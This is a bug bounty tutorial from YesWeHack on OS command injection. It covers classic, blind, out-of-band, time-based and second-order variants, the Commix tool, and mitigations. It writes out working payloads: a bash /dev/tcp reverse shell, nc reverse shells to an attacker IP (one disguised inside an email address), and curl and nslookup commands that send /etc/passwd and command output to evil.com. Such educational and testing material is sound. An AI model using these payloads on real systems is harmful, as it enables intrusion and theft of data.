The ultimate Bug Bounty guide to OS command injection vulnerabilities

April 14, 2026

Vulnerability vectors from YesWeHack: OS command injection

OS command injection (CWE-78) is among the most severe vulnerability types because it allows attackers to execute arbitrary commands on target systems, often leading to full system compromise.

Even when initial execution is limited, command injection frequently acts as a pivot point, enabling attackers to enumerate internal systems, escalate privileges and move laterally within the environment.

Mastering OS command injection techniques is invaluable for Bug Bounty hunters because it turns seemingly minor input flaws into high-impact vulnerabilities and lucrative payouts.

This comprehensive guide to OS command injection breaks down the most common attack variants, from direct and blind to out-of-band (OOB) and second-order techniques. It also reveals practical detection methods and exploitation techniques executed in real-world scenarios.

What is an OS command injection?

OS command injection occurs when untrusted input is interpreted as an operating system (OS) command by an application. The most common type is when user input is passed into a function that executes system commands. A typical real-world scenario involves a router’s web application dashboard, where a system command such as ping is used to check the connection from the router to the internet service provider (ISP). In these situations, the output of the system command is rendered to the user in an HTTP response. On the router's backend server, the command being invoked might look as follows:

1ping -c 4 '<userInput>';

From a code perspective, a vulnerable Python implementation might resemble:

1import os
2
3userInput = "127.0.0.1"
4
5result = os.popen("ping -c 4 '"+userInput+"'")
6print("Ping result:", result.read())
7
8# Code...
9

However, if user input is not sanitised properly before being incorporated into the system command, an attacker can insert a payload such as:

1127.0.0.1' && ls -an / # -

The vulnerable system will then execute the original ping command alongside the injected command:

1ping -c 4 '127.0.0.1' && ls -an / # -'

The attacker simply breaks out from the single quotes (') of the original ping command, appends an "AND operator" (&&) and executes the system command (ls -an /). This injected command list files in the root directory (/) and causes the output to be displayed in the router’s web UI dashboard.

OS command injection vs argument injection (CWE-77 vs CWE-88)

OS command injection (CWE-77) is often confused with argument command injection (CWE-88). While related, there’s a key distinction: OS command injection involves the injection of an entirely new system command, whereas argument injection allows an attacker to modify the behaviour of an existing command by injecting additional arguments.

Example of an OS command injection:

1<?php
2/* The command trusts the user input (payload) and insert its value
3* directly into the system command making it vulnerable to an OS
4* command injection.
5*/
6$payload = "; id"; system("find dummyfolder -name " . $payload);

Example of an argument command injection:

1<?php
2/* The payload adds a file that exists on the system and add the
3* argument `-exec` that can be used to run system commands.
4*/
5$payload = "dummy.txt -exec id ;"; system("find dummyfolder -name " . escapeshellcmd($payload));

The PHP code uses the function escapeshellcmd, making this snippet vulnerable to an argument command injection. The correct mitigation would be to use escapeshellarg instead, which constrains the input to a single argument and prevents the attacker from injecting additional arguments into the running command.

The Python snippet above is vulnerable to an OS command injection. The code first imports the os library and calls the function popen, which executes a system command via the host system's shell. The variable userInput represents the input coming from the attacker. No sanitisation is applied to userInput – it is passed directly to the system command, making it possible to trivially escape the current command context and execute a new one using a payload such as: z'; echo 'pwned'.

Impact of OS command injection vulnerabilities

Attackers who exploit OS command injection flaws can execute arbitrary commands with the application’s privileges (remote code execution or RCE), potentially gaining full control over the application, accessing data and may let the attacker access other machines in the same internal environment.

Consider the real-world example of CVE-2019-25224, which affected the WordPress Database Backup plugin via the mysqldump function. This vulnerability allowed unauthenticated attackers to execute arbitrary commands on the host operating system. Marc-Alexandre Montpas described the CVE as “a very nasty bug which made it possible for a bad actor to gain full control of affected websites – with over 70,000 reported active installs.

Classic (or direct) OS command injection

Classic (aka ‘direct’ or ‘basic’) OS command injection is the simplest type of OS command injection, allowing an attacker to inject additional system commands, with the output of those commands returned directly to the attacker.

As an example, consider the following vulnerable Python code snippet:

1import os
2
3# User input (payload)
4user_input = "dummyfile';id;x='"
5
6# Final command when infected by the user input: ls '/uploads/dummyfile';id;x='.pdf'
7output = os.popen(f"cat '/uploads/{user_input}.pdf'")
8
9print("Content of file:\n", output.read())

This code snippet accepts user input that is expected to represent the name of an uploaded PDF file. The application does not perform any sanitisation and outputs the stdout of the executed system command – including any injected commands – directly back to the attacker.

Blind OS command injection

Blind OS command injection occurs when an attacker is able to execute system commands but the vulnerable application does not return the command output (stdout) to the attacker. This is a common scenario and blind variants are just as exploitable as classic OS command injection, even though no immediate output is visible.

Consider a vulnerable application that executes the following system command using PHP:

1<?php
2// User controllable (payload) variable: path
3$path = "x; id";
4// Won't output the value of the injected command: id
5$result = shell_exec("ls -an " . $path);
6// Code...

Although an attacker cannot see the stdout of the executed system command, the vulnerability remains exploitable. For example, the attacker can send a payload containing a reverse shell such as sh -i >& /dev/tcp/1.2.3.3/1337 0>&1 which, when executed on the target, establishes a connection back to the attacker – effectively granting them the ability to execute system commands as though they were sitting directly in front of the vulnerable system.

Common payload patterns for OS command injection

The breakout patterns below are among the most common ways an attacker can escape the original system command context in a vulnerable application and inject a new one:

  • '; <cmd> # -
  • "; <cmd>; "
  • $(<cmd>)
  • `<cmd>`
  • ||<cmd>||
  • &<cmd> # -
  • |<cmd> # -

OS command injection attack types: detection & exploitation workflows

OS command injection attacks come in a variety of forms, ranging from classic (direct) and blind injection to out-of-band (OOB) and second-order injection techniques. Each type requires specific detection methods and practical exploitation workflows to reliably confirm the presence of a vulnerability.

Out-of-band (OOB) OS command injection

An attacker can use an OOB technique to discover and exploit an OS command injection by injecting a command that forces the vulnerable system to initiate an external connection to an attacker-controlled server.

A common example of this technique is to force the vulnerable application to send an HTTP or DNS pingback to the attacker's server using a system command such as curl, nslookup, ping, or wget.

The payload typically resembles:

1curl "$(uname).attacker.com:9999"

As an example, the code below is written in Python and calls ffmpeg to convert an mp4 file into a gif file:

1import os
2
3# User controllable (payload)
4video_input = 'x.mp4; curl "$(uname).attacker.com:9999" # x'
5
6# Final command to the system:
7# `ffmpeg -i x.mp4; curl "$(uname).attacker.com:9999" # x output.gif`
8os.popen(f"ffmpeg -i {video_input} output.gif")
9

Why is this technique useful? Why not simply use a time-based payload such as sleep 10, or attempt to inject a reverse shell directly?

OOB is such an effective technique because you often can’t tell where the injected payload will actually trigger.

Your payload may execute in any of the following contexts:

  • The web application itself
  • Inside a separate subprocess spawned by the application
  • Asynchronously in the background
  • Within another internal service called by the web application

For these reasons, the OOB technique allows you to identify OS command injection vulnerabilities through pingbacks, which also hint at where the payload was executed.

Detecting OOB OS command injection

OOB OS command injection is particularly valuable when injected commands execute in background processes or separate services. Since the output from direct or time-based techniques may not be observable, these traditional methods can produce false negatives. OOB injection solves this limitation by forcing the vulnerable system to initiate an external pingback to the attacker's server, making it possible to reliably confirm command execution even when no direct output is visible.

Exploiting OOB OS command injection

Once an OOB OS command injection is confirmed, we can exploit it in various ways, such as triggering a reverse shell or exfiltrating data over the established connection between the vulnerable application and the attack server.

A common data exfiltration strategy is to embed the exfiltrated data within the subdomain of the attack server's hostname. This is especially well-suited when only limited pingback channels are available on the vulnerable target – such as via DNS alone. Alternatively, an HTTP request can be crafted with a body containing system information or the contents of a target file.

This payload resolves a DNS query in which the result of the id command is encoded in a hexadecimal format and embedded as the subdomain:

1nslookup "`id | xxd -p`.evil.com"

This payload sends a POST HTTP request to the attack server (evil.com) with the contents of /etc/passwd included in the request body:

1curl http://evil.com/ -X POST -d "$(cat /etc/passwd)"

Walkthrough of an OOB OS command injection

Imagine you found an OOB OS command injection vulnerability in a web application GET parameter named filename. The vulnerable application runs Python code similar to the earlier snippet:

1import subprocess
2# User controllable (payload)video_input = 'x.mp4; curl "$(uname).attacker.com:9999" # x'
3# Final command to the system:# `ffmpeg -i x.mp4; curl "$(uname).attacker.com:9999" # x output.gif`subprocess.Popen(f"ffmpeg -i {video_input} output.gif", shell=True)
4# Code...

Here, OS command injection is possible. The application executes the system command in a subprocess, which would cause a time-based technique to produce a false negative. Using the OOB technique, we can easily confirm and exploit this vulnerability because the injected command will send a pingback (in this example via a HTTP/DNS request) to our server.

Exploit workflow for OOB OS command injection

The following workflow illustrates the step-by-step process by which an attacker tests for and exploits an OOB command injection vulnerability:

Time-based OS command injection

Time‑based OS command injection leverages response timing differences to detect command execution, rather than to directly exploit it. An attacker sends a payload designed to force the application to delay its response.

However, because injected payloads may execute in different contexts (as outlined in the OBB section), observed time delays are not always consistent or reliable.

Why not rely solely on OOB technique instead? Some web applications Some web applications implement outbound filtering or firewall rules that block external pingbacks (HTTP, DNS, etc). For this reason, time-based testing is still an important part of an OS command injection assessment, as it improves general detection accuracy and the chance of discovering a vulnerability.

A time-based OS command injection payload may look like:

1sleep 7

Alternatively, commands such as curl or ping can be used to introduce a delay:

1curl --connect-timeout 10 1:0
1ping -c 10 0

Detecting time-based OS command injection

A payload such as sleep 7 forces the vulnerable application to pause for seven seconds, causing a corresponding delay in the HTTP response. If the delay is approximately seven seconds (often slightly more), this is a strong indicator that the application is vulnerable to OS command injection.

It is worth noting that a web server can sometimes send an HTTP response before a system command has completely finished executing. If the injected command was intended to contribute data to the HTTP response, the impact may manifest not as a delay but as missing or incomplete data in the response – a consequence of asynchronous execution.

This is why time-based testing should not be relied upon in isolation. Out-of-bound (OOB) techniques are a valuable complement, as they confirm command execution through external callbacks rather than response timing or output.

Consider the following vulnerable Ruby web application:

1domain = params[:domain].to_s.strip
2
3if domain.empty?
4 return "No domain provided"
5end
6
7# Execute system command to lookup DNS info for given domain
8result = `dig #{domain} +noall +answer 2>&1`
9# Code...

This command uses the CLI tool dig to perform DNS lookups using user-supplied input. Because no sanitisation or validation is applied, an attacker can inject malicious input such as:

1example.com && sleep 7; # -

This first executes dig as normal, then waits seven seconds before returning, producing a visible time delay in the HTTP response that indicates the presence of an OS command injection vulnerability.

Exploiting time-based OS command injection

Exploiting a time-based OS command injection is usually straightforward. While detection relies on time-based payloads, the exploitation payload does not necessarily need to follow the same approach. Instead, classic exploitation techniques can be used — such as redirecting stdout from the injected command to a publicly accessible endpoint on the vulnerable web server.

If we use the Ruby snippet from the section above…

1domain = params[:domain].to_s.strip
2
3if domain.empty?
4 return "No domain provided"
5end
6
7# Execute system command to lookup DNS info for given domain
8result = `dig #{domain} +noall +answer 2>&1`
9# Code...
10

…We can exploit the vulnerability by redirecting the stdout of the injected command to the public folder (commonly used by Ruby on Rails):

1example.com && id > /var/www/app/public/stdout.txt; # -

The stdout of our command can then be accessed through a publicly accessible path on the web server, for example:

1curl http://example.com/stdout.txt

Alternatively, a reverse shell can be inserted directly, with the attacker listening for the incoming connection.

Command to run on the attacker’s system:

1nc -lvp 0.0.0.0:9999

Command to run on the vulnerable system (where 1.2.3.4 is the attacker’s server IP):

Walkthrough of a time-based OS command injection

Imagine a web application that allows users to edit images online. When saving an edited image, you notice that the image dimensions are passed as a URL parameter:

1http://example.com/saved/myphoto.png?size=120x120

Under the hood, the web application uses the CLI tool ImageMagick to execute the following command:

1convert '6d7970686f746f.tmp.png' -resize '120x120' 6d7970686f746f.png

The value for the argument -resize is taken directly from the GET parameter size, and may be executed using vulnerable PHP code such as:

1<?php
2if ( isset($_GET['file']) && isset($_GET['size']) ) {
3 $filename = bin2hex($_GET['file']); exec_shell("convert '".$filename.".tmp.png' -resize '".$_GET['size']."' '".$filename.".png'");
4}
5// Code...

We can see that the filename parameter is hex-encoded, making command injection via the GET parameter difficult. However, you might notice that the GET parameter is inserted directly into the system command, making it a viable injection point. This allows us to perform a command injection using this payload:

1'; id > /var/www/html/public/stdout.txt # -

The payload breaks out of the enclosing quotes, terminates the original command and executes id, redirecting its output to a publicly accessible file (stdout.txt) that can then be retrieved through the web server.

Exploit workflow for time-based OS command injection

The following workflow illustrates the step-by-step process by which an attacker tests for a time-based OS command injection vulnerability:

Second-order OS command injection (stored injection)

Second-order OS command injection is trickier to identify than classic or blind OS command injection because the attacker-controlled input is stored by the application first and only executed later, when the application reuses that stored value inside a system command.

Consider an email address used during account registration. The stored email contains an OS command injection payload but is not incorporated into a system command immediately, so it remains unexecuted.

Later, when the attacker triggers a functionality that processes that stored email – for example, a notification, maintenance task or admin operation – the application inserts the stored email into a system command and executes it. This allows an attacker to plant a payload during account registration that only executes when a separate function later processes the email.

To summarise: the payload is stored harmlessly at first and becomes dangerous only when the application later incorporates the stored data – in this example, the attacker's email address – within a system command.

A vulnerable code workflow might resemble:

1email = request.args.get("email")
2# Insert email into database
3cur.execute("INSERT INTO subscribers (email) VALUES (?)", (email,))
4conn.commit()

Later, the application fetches the email and sends an email using a system command:

1cur.execute("SELECT email FROM subscribers ORDER BY id DESC LIMIT 1")
2row = cur.fetchone()
3
4if row:
5 stored_email = row[0]
6 # Send a mail to the email
7 os.system(f'echo "Thanks for the registration." | mail -s "Welcome new user!" "{stored_email}"')
8
9# Code...

When the application retrieves the stored email address containing the payload, it inserts it into a system command that sends a mail to the user. Since the attacker's email contains the payload and has not been sanitised by the application, the injected payload is executed – constituting a second-order OS command injection.

Detecting second-order OS command injection (stored injection)

To discover a second-order OS command injection, the attacker must first understand which input values are stored by the application. As discussed in the previous example, email addresses are a common example: they are typically stored in a database and represent an excellent vector for testing second-order OS command injection.

During reconnaissance, an attacker registers on a web application and enters the required information. When prompted for an email address, the attacker can supply one whose local-part contains a payload, which might look like this:

1attacker+$(whoami|{xxd,-p})@example.com

If the web application does not verify the email address provided by a registered user, the address is stored in the database. If we later trigger a feature that reuses the stored email address – such as password reset, newsletter delivery, account notification – the injected payload may execute, resulting in a second-order OS command injection.

Returning to the same code workflow we used at the start of the second-order section…

1email = request.args.get("email")
2# Insert email into database
3cur.execute("INSERT INTO subscribers (email) VALUES (?)", (email,))
4conn.commit()

The application fetches the email and sends an email using a system command:

1cur.execute("SELECT email FROM subscribers ORDER BY id DESC LIMIT 1")
2row = cur.fetchone()
3
4if row:
5 stored_email = row[0]
6 # Send a mail to the email
7 os.system(f'echo "Thanks for the registration." | mail -s "Welcome new user!" "{stored_email}"')
8
9# Code..

We can clearly see the vulnerability when the Python code uses the function os.system and includes the stored email address in the command. The injected email payload executes the whoami command and hex-encodes its stdout, allowing the output to be embedded into an alias or message that is forwarded to the attacker’s email address.

The execution of the OS command injection on the vulnerable application results in this email address:

1attacker+7777772d64617461@example.com

The same strategy can be used to execute the command uname to identify the operating system. If an email is received, the system is most likely Unix/Linux; if not, it is most likely Windows.

This confirms the vulnerability, and the attacker can begin the exploitation process.

Exploitation walkthrough of a second-order OS command injection

Once a second-order OS command injection has been confirmed, it can be exploited in different ways depending on the context in which it is triggered. Continuing with the email example from the previous section, the payload must conform to this structure:

1attacker+$(COMMAND_HERE)@example.com

However, the goal is no longer retrieving stdout via email because the vulnerability’s existence has already been established. The focus now shifts to getting our injected OS command to execute a reverse shell. Whether an email is returned or not is no longer relevant.

Based on the results from the detection phase – where whoami and uname were used – the reverse-shell can be adapted to the target environment. The example below targets a Linux system.

First, select a reverse shell payload: (Note: 1.2.3.4 is the attacker’s server IPv4):

1nc -c sh 1.2.3.4 9999

Next, reformat the payload to eliminate spaces and embed it within the email address:

1attacker+$({nc,-c,sh,1.2.3.4,9999})@example.com

Registering a new account with this email address and re-triggering the second-order OS command injection should result in a reverse shell executing on the vulnerable system, granting the attacker full access.

Exploit workflow for second-order OS command injection

The following workflow illustrates the step-by-step process by which a second-order OS command injection vulnerability is exploited by an attacker:

Automating OS command injection with Commix

The primary tool commonly used to automate the detection and exploitation of command injection vulnerabilities is Commix, developed by Anastasios Stasinopoulos. Commix is capable of detecting a wide range of command injection types, including classic, blind, time-based, and out-of-band (OOB) OS command injection. It supports numerous injection points, including GET parameters, POST bodies, HTTP headers, cookies and multipart form data, making it a versatile tool for both pentesters and Bug Bounty hunters.

Below is an example of Commix successfully exploiting the PortSwigger lab entitled ‘OS command injection, simple case’:

What makes Commix particularly useful is the level of automation it provides during exploitation. It can fingerprint the underlying operating system, automatically identify working payloads, and even spawn a pseudo-shell once an injection point is confirmed. This can significantly speed up the assessment process when dealing with repetitive or well-understood injection scenarios.

However, Commix is not a silver bullet. Like any automated tool, its results should be treated as a starting point rather than ground truth. Running automated payloads prematurely – before a vulnerability has been manually verified – risks triggering rate limits or WAFs, potentially blocking further testing altogether.

In summary, Commix excels at exploitation, but the detection phase should favour lighter, more targeted scans tailored to the target, such as manual testing or a custom scanning workflow.

Sharpen your skills with OS command injection labs

Now it’s time to put your skills to the test. Check out these OS command injection CTF challenges on YesWeHack's Dojo platform:

Mitigation steps for OS command Injection

OS command injection occurs when an application accepts untrusted input and uses it to build or execute system-level commands. If this input is not strictly validated before the command is constructed, an attacker can manipulate it to run unintended or malicious commands. The most effective defence is therefore to treat all external input as untrusted by default and enforce strict validation rules before any system-level command is executed.

These are the most important mitigation measures:

  • Validate input strictly: Only allow expected characters, formats and values. Reject anything outside the defined ruleset
  • Avoid building commands manually: Use safe APIs that separate commands from arguments instead of concatenating strings
  • Use whitelists instead of blacklists: Allow only known, safe inputs. Blacklists are easily bypassed
  • Limit privileges: Run applications with minimal permissions required for their function and isolate sensitive operations where possible

New attack surfaces and future research

OS command injection vulnerabilities remain a frequent occurrence in web applications. But while traditional web interfaces remain a productive hunting ground, newer attack surfaces have also emerged across background processing systems, container environments and automation pipelines – though these flaws are often subtler and harder to detect. Future security research in this field is likely to focus on safer command execution models, improved static analysis tools and better visibility into delayed and distributed command execution paths.

For bug hunters, combining manual testing with layered detection techniques – particularly out-of-band (OOB) methods when direct output is unavailable – alongside tools such as Commix continues to provide a reliable workflow for detecting and confirming OS command injection vulnerabilities.

For developers, user-controlled input should never be trusted when executing system commands. Avoid shell execution whenever possible, and when required, use safe argument handling, strict validation and least-privilege execution.

References & further reading